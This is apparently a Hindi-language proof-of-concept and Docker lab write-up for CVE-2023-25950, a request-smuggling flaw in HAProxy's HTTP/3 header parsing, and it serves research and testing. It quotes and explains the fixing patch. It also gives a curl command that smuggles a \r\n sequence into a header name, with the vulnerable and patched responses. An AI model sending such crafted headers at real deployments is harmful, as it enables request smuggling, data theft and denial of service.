
PoC और प्रयोगशाला वातावरण CVE-2023-25950 के लिए: HAProxy के HTTP/3 कार्यान्वयन में दोषपूर्ण हेडर फ़ील्ड के माध्यम से HTTP request smuggling, DoS और डेटा चोरी को सक्षम करना।

HAProxy का HTTP/3 कार्यान्वयन गलत स्वरूपित HTTP हेडर फ़ील्ड नाम को ब्लॉक करने में विफल रहता है, और जब यह ऐसे सर्वर के सामने तैनात किया जाता है जो इस गलत स्वरूपित हेडर को गलत तरीके से संसाधित करता है, तो इसका उपयोग HTTP अनुरोध/प्रतिक्रिया तस्करी हमले को अंजाम देने के लिए किया जा सकता है। एक दूरस्थ हमलावर वैध उपयोगकर्ता के अनुरोध को बदल सकता है। परिणामस्वरूप, हमलावर संवेदनशील जानकारी प्राप्त कर सकता है या सेवा-अस्वीकृति (DoS) स्थिति उत्पन्न कर सकता है।
https://jvn.jp/en/jp/JVN38170084/
CVE पर किसी भी शोध को शुरू करने से पहले एक बहुत अच्छा तरीका है कि पहले भेद्यता विवरण पढ़ें और फिर जांचें कि पैच करने के लिए कमिट उपलब्ध हैं या नहीं।
मेरे मामले में, कमिट उपलब्ध था, और यह स्पष्ट है कि HAProxy के डेवलपर्स HTTP3 कार्यान्वयन पर मानक हेडर के पार्सिंग के दौरान RFC 9114 4.1.2. Malformed Requests and Responses जांच को शामिल करना भूल गए।
नीचे पैच कमिट देखें।
--- a/src/h3.c
+++ b/src/h3.c
@@ -352,7 +352,27 @@ static ssize_t h3_headers_to_htx(struct qcs *qcs, const struct buffer *buf,
//struct ist scheme = IST_NULL, authority = IST_NULL;
struct ist authority = IST_NULL;
int hdr_idx, ret;
- int cookie = -1, last_cookie = -1;
+ int cookie = -1, last_cookie = -1, i;
+
+ /* RFC 9114 4.1.2. Malformed Requests and Responses
+ *
+ * A malformed request or response is one that is an otherwise valid
+ * sequence of frames but is invalid due to:
+ * - the presence of prohibited fields or pseudo-header fields,
+ * - the absence of mandatory pseudo-header fields,
+ * - invalid values for pseudo-header fields,
+ * - pseudo-header fields after fields,
+ * - an invalid sequence of HTTP messages,
+ * - the inclusion of uppercase field names, or
+ * - the inclusion of invalid characters in field names or values.
+ *
+ * [...]
+ *
+ * Intermediaries that process HTTP requests or responses (i.e., any
+ * intermediary not acting as a tunnel) MUST NOT forward a malformed
+ * request or response. Malformed requests or responses that are
+ * detected MUST be treated as a stream error of type H3_MESSAGE_ERROR.
+ */
TRACE_ENTER(H3_EV_RX_FRAME|H3_EV_RX_HDR, qcs->qcc->conn, qcs);
@@ -416,6 +436,14 @@ static ssize_t h3_headers_to_htx(struct qcs *qcs, const struct buffer *buf,
if (isteq(list[hdr_idx].n, ist("")))
break;
+ for (i = 0; i < list[hdr_idx].n.len; ++i) {
+ const char c = list[hdr_idx].n.ptr[i];
+ if ((uint8_t)(c - 'A') < 'Z' - 'A' || !HTTP_IS_TOKEN(c)) {
+ TRACE_ERROR("invalid characters in field name", H3_EV_RX_FRAME|H3_EV_RX_HDR, qcs->qcc->conn, qcs);
+ return -1;
+ }
+ }
+
if (isteq(list[hdr_idx].n, ist("cookie"))) {
http_cookie_register(list, hdr_idx, &cookie, &last_cookie);
continue;
नीचे, आप वह कोड देख सकते हैं जो HAProxy 2.7.0 पर मानक हेडर को संभालने के कार्यान्वयन में हेडर नाम स्वच्छता की अनुपस्थिति को प्रदर्शित करता है।
/*
src/h3.c
lines: 413 - 428
*/
/* now treat standard headers */
hdr_idx = 0;
while (1) {
if (isteq(list[hdr_idx].n, ist("")))
break;
if (isteq(list[hdr_idx].n, ist("cookie"))) {
http_cookie_register(list, hdr_idx, & cookie, & last_cookie);
continue;
}
if (!istmatch(list[hdr_idx].n, ist(":")))
htx_add_header(htx, list[hdr_idx].n, list[hdr_idx].v);
++hdr_idx;
}
नीचे, आप वह कोड देख सकते हैं जिसका उपयोग यह जांचने के लिए किया जाता है कि हेडर का नाम मान्य है या नहीं।
कोड एक for लूप से शुरू होता है जो हेडर फ़ील्ड नाम के प्रत्येक वर्ण को पुनरावृत्त करता है। लूप i = 0 से i < list[hdr_idx0.n.len] तक चलता है, जहाँ list एक सरणी या संरचना है जिसमें हेडर जानकारी होती है, और hdr_idx एक इंडेक्स है जो जाँचे जा रहे विशिष्ट हेडर का प्रतिनिधित्व करता है।
लूप के अंदर, कोड हेडर फ़ील्ड नाम से वर्तमान वर्ण c निकालता है।
list[hdr_idx].n.ptr[i] हेडर फ़ील्ड के नाम में i-वें स्थान पर वर्ण तक पहुँचता है।
कोड का अगला भाग एक if स्टेटमेंट है। यह जाँचता है कि वर्तमान वर्ण c दो शर्तों में से एक को संतुष्ट करता है या नहीं:
(uint8_t)(c - 'A') < 'Z' - 'A': यह जाँचता है कि क्या वर्ण एक बड़ा अक्षर (A से Z) है, c से 'A' घटाकर और परिणाम को uint8_t में परिवर्तित करके। यदि परिणाम 'Z' और 'A' के बीच के अंतर से कम है, तो वर्ण एक बड़ा अक्षर है।!HTTP_IS_TOKEN(c): यह शर्त जाँचती है कि क्या वर्ण एक मान्य HTTP टोकन वर्ण है। HTTP_IS_TOKEN पहले यह जाँच करके काम करता है कि हेडर नाम में कोई टोकन है या नहीं। टोकन वर्णों का एक क्रम है जो HTTP प्रोटोकॉल में आरक्षित वर्ण नहीं है। आरक्षित वर्ण वे हैं जिनका HTTP प्रोटोकॉल में विशेष अर्थ होता है, जैसे :, /, ?, और #।/*
src/h3.c
lines: 439 - 445
*/
for (i = 0; i < list[hdr_idx].n.len; ++i) {
const char c = list[hdr_idx].n.ptr[i];
if ((uint8_t)(c - 'A') < 'Z' - 'A' || !HTTP_IS_TOKEN(c)) {
TRACE_ERROR("invalid characters in field name", H3_EV_RX_FRAME | H3_EV_RX_HDR, qcs -> qcc -> conn, qcs);
return -1;
}
}
पूरी प्रयोगशाला Docker पर चल रही है। आप निम्नलिखित कमांड्स के साथ प्रयोगशाला चला सकते हैं:
cd /labdocker-compose up --buildकृपया ध्यान दें कि Docker बिल्ड को पूरा होने में 15-20 मिनट लगेंगे।
हालांकि, प्रयोगशाला चलाने से पहले, आपको कुछ कॉन्फ़िगरेशन परिवर्तन करने होंगे:
/lab/haproxy/conf/haproxy.cfg
...
default_backend api_server
backend api_server
balance roundrobin
server api_server [YOUR-LOCAL-IPv4]:8080 # replace with local IPv4
/etc/hosts
[YOUR-LOCAL-IPv4] foo.com
/lab/docker-compose.yml
आप आर्गुमेंट के मान को 'vuln' या 'patched' में बदलकर कमजोर संस्करण और पैच किए गए संस्करण के बीच चुन सकते हैं, ताकि उस पर अपना परीक्षण कर सकें।
...
args:
- haproxy_version=patched || vuln
...
और अंत में अपने ब्राउज़र में minica.crt प्रमाणपत्र आयात करें।
⚠️ कृपया प्रयोगशाला को Linux वातावरण में चलाएं।
निम्नलिखित curl अनुरोध भेजना:
curl --http3 -H "foooooo\r\n: barr" -iL -k https://192.168.1.104/कमजोर संस्करण प्रतिक्रिया:
HTTP/3 200
server: Werkzeug/2.3.6 Python/3.8.17
date: Sat, 12 Aug 2023 13:10:52 GMT
content-type: text/html; charset=utf-8
content-length: 76
alt-svc: h3=":443";ma=900;
Host: 192.168.1.104
User-Agent: curl/8.1.2-DEV
Accept: */*
Foooooo\R\N: barr <-- Malformed header
पैच किया गया संस्करण प्रतिक्रिया:
curl: (56) HTTP/3 stream 0 reset by server
उपरोक्त निष्कर्षों के आधार पर, संबंधित प्रतिक्रियाएं इंगित करती हैं कि HAProxy का कमजोर संस्करण \r\n उपसर्ग को बैकएंड सर्वर तक पहुंचाने की अनुमति देता है, जबकि पैच किए गए संस्करण ने क्लाइंट और HAProxy के बीच कनेक्शन को छोड़ दिया।
एक हमलावर बैकएंड व्यवहार और बैकएंड सर्वर द्वारा गलत स्वरूपित हेडर को कैसे संभाला जाएगा, के आधार पर HTTP अनुरोध तस्करी हमला कर सकता है। मेरे विचार में, सबसे महत्वपूर्ण चिंता यह है कि एक हमलावर उपरोक्त CVE का शोषण करके सेवा-अस्वीकृति (DoS) हमला कर सकता है।